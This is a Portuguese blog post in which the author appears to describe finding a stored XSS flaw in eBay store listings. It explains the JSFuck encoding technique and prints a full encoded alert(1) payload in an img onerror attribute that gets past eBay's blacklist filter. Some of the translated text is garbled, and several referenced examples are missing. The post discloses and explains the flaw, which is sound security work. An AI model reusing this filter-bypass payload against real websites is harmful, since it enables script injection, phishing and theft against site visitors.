eBay - Loja maliciosa
Neste blog, explicarei como localizei a falha de segurança no eBay.
O eBay é uma plataforma de comércio eletrônico com mais de 150 milhões de usuários ativos em todo o mundo; portanto, uma falha de segurança em uma plataforma tão grande pode afetar milhões de usuários.
Essa falha de segurança permite que você injete código JavaScript dinâmico na loja do eBay e qualquer pessoa que tenha entrado na loja maliciosa poderia ser afetada por esse código.
Usando a injeção de código, você pode realizar ataques de phishing e até minerar digitalmente moedas digitais no dispositivo infectado.
Portanto, um ataque bem-sucedido seria assim::
Vídeo de demonstração do ataque em um Android
Vídeo de demonstração do Vídeo de demonstração do ataque em um iPhone
Ao abrir uma loja do eBay o vendedor deve preencher uma descrição do produto no sistema de divulgação de produtos do eBay, no próprio eBay, dava para perceber que este sistema parece antigo e nao estava moderno como o resto do site em si.
Tentei várias tentativas de injeção de código e cada uma das tentativas mostrou a seguinte mensagem: Em uma das tentativas, tentei criar uma imagem contendo um event handler sem código JavaScript, algo como isto:
<img src=x onerror="">
Fiquei surpreso ao descobrir que a mensagem de erro não apareceu e a loja foi criada normalmente no site. O funcionamento normal do site significa que o event handler (manipulador de eventos) pode ser usado, mas JavaScript não pode ser usado.
A ativação do event-handler na tag Image na descrição da mensagem parece muito suspeita à primeira vista.
Como o lado do servidor consegue detectar o uso de código JavaScript porém ele nos permite usar o event handler?
Concluí que essa é provavelmente há uma lista negra de informações que nao podem ser inseridas no event handler , que é uma escolha imprudente para a proteção XSS. Após várias tentativas fracassadas, cheguei à conclusão de que provavelmente o código JavaScript não poderia ser injetado com as técnicas usuais e teria que fazer algo que eles não pensavam, como usar uma técnica não padrão chamada "JSFuck".
Sobre o JSFuck
Uma técnica muito interessante para escrever código JavaScript usando apenas 6 caracteres: [] ()! + Escrito por Martin Kleppe.
No campo dos testes de intrusão, essa técnica é usada para ignorar as proteções e assinaturas IDS, IPS e WAF.
O uso dos 6 caracteres no JsFuck é expresso da seguinte forma:
- [] - Usado para ler listas e objetos, e colchetes também são usados para converter texto e número.
- () - Usado para ler funções e separar as partes do código.
- + - Usado para fazer o rootUsado para concatenar textos, operações matemáticas e conversão em número.
- ! - Usado para converter em um número booleano.
A lógica funciona da seguinte maneira:
se quisermos escrever o dígito 0, faremos isso usando os seguintes caracteres +[] e o resultado será o seguinte:
Obtivemos 0 porque tentamos imprimir o primeiro órgão em uma lista em branco, portanto, se queremos agora usar o mesmo método e imprimir o booleano - False e True Isso é feito usando o caractere "!"
Se queremos apenas o dígito 1, podemos converter o texto em True e obtemos o dígito 1 ou, alternativamente, se quisermos converter em texto simples, fazemos + [] e transformamos o dígito 1 em texto:
você pode ver que a lógica é bastante simples, se quisermos escrever o número 123, apenas Vamos escrevê-lo como um texto e depois convertê-lo em um número:
Depois de aprender a escrever números, agora precisamos ver como escrevemos caracteres usando esses caracteres. A idéia por trás da digitação é:
- Imprimir qualquer texto
- Converter esse texto em uma variável de texto
- Usar caracteres [] Para poder navegar pelo texto
Por exemplo, se quisermos que os caracteres True se formem, façam isso, primeiro imprima true usando os caracteres !![] e depois os converta em texto adicionando os Caracteres +[].
Iremos imprimir o número 1 como vimos antes de usar + !! [] e usar colchetes para acessar o primeiro lugar e, portanto, chegaremos ao r:
Se continuarmos com o método, podemos ver todos os seguintes caracteres
“a”, “b”, “c”, “d”, “e”, “f”, “i”, “j”, “l”, “n”, “N”, “o”, “O”, “r”, “s”, “t” and “u”.
Abordando qualquer um dos seguintes:
É suficiente escrever a palavra construtor pela qual podemos obter todas as outras letras. Por exemplo, suponha que se a letra “m” estiver ausente, ela pode ser recebida de uma referência a 0 ["construtor"] que nos dará a palavra:
e assim por diante, o resultado final nos permite escrever qualquer trecho de código em JavaScript usando os caracteres que apresentei. Para fazer isso automaticamente, você deve usar o seguinte site:
http://www.jsfuck.com
O site pode ser visto com um comando de amostra alert(1)
se copiarmos a amostra em nosso código para injetar no eBay, obteremos o seguinte código:
<img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>
Copie-o para um arquivo chamado test.html e execute-o você verá que seu código JavaScript é executado.
Então, na verdade, assim ignorei o mecanismo de autenticação do eBay e consegui inserir código na loja online.
Essa falha de segurança poderia ter permitido que criminosos de cibersegurança usassem o eBay como plataforma de distribuição de malware, roubassem cartões de crédito, gravassem moedas digitais nos computadores dos usuários e até mesmo instalar aplicativos maliciosos em seus dispositivos.
Para tirar proveito da falha de segurança, tudo o que o invasor precisava fazer era criar uma loja online do eBay com uma oferta bem atraente e injetar o código malicioso na descrição do produto.